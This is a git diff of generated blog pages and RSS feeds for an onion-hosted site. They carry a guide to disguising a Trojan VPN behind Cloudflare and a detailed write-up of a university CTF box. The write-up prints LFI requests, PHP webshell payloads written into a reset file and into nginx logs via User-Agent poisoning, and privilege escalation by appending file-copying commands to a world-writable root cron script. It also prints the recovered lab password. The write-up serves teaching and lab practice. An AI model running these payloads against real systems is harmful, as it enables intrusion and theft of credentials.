    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    +
    +
    September 9, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/vpn/index.xml b/public-onion/tags/vpn/index.xml new file mode 100644 index 0000000..b3be85b --- /dev/null +++ b/public-onion/tags/vpn/index.xml @@ -0,0 +1,195 @@ + + + + VPN on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vpn/ + Recent content in VPN on AlipourIm journeys + Hugo -- 0.146.0 + en + Tue, 09 Sep 2025 11:05:00 +0200 + + + Stealth Trojan VPN Behind Cloudflare Guide + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + <h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p> + Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/vpn/page/1/index.html b/public-onion/tags/vpn/page/1/index.html new file mode 100644 index 0000000..ae95846 --- /dev/null +++ b/public-onion/tags/vpn/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/vpn/ + + + + + + diff --git a/public-onion/tags/web/index.html b/public-onion/tags/web/index.html new file mode 100644 index 0000000..f1d0eaa --- /dev/null +++ b/public-onion/tags/web/index.html @@ -0,0 +1,352 @@ + + + + + + + +Web | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    +
    +
    +

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    +
    +
    June 5, 2026 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/web/index.xml b/public-onion/tags/web/index.xml new file mode 100644 index 0000000..30bf813 --- /dev/null +++ b/public-onion/tags/web/index.xml @@ -0,0 +1,379 @@ + + + + Web on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/web/ + Recent content in Web on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 05 Jun 2026 12:00:00 +0000 + + + A TU Wien CTF where Sysops Klaus left the keys in the cron job + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. + +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/web/page/1/index.html b/public-onion/tags/web/page/1/index.html new file mode 100644 index 0000000..3839359 --- /dev/null +++ b/public-onion/tags/web/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/web/ + + + + + + diff --git a/public-onion/tags/webrtc/index.html b/public-onion/tags/webrtc/index.html new file mode 100644 index 0000000..bec6473 --- /dev/null +++ b/public-onion/tags/webrtc/index.html @@ -0,0 +1,357 @@ + + + + + + + +Webrtc | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + Matrix, Signal but distributed +
    +
    +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) +

    +
    +
    +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    +
    +
    August 26, 2025 · 8 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/webrtc/index.xml b/public-onion/tags/webrtc/index.xml new file mode 100644 index 0000000..9830f81 --- /dev/null +++ b/public-onion/tags/webrtc/index.xml @@ -0,0 +1,370 @@ + + + + Webrtc on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/webrtc/ + Recent content in Webrtc on AlipourIm journeys + Hugo -- 0.146.0 + en + Tue, 26 Aug 2025 00:00:00 +0000 + + + Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + Tue, 26 Aug 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/ + How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. + +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
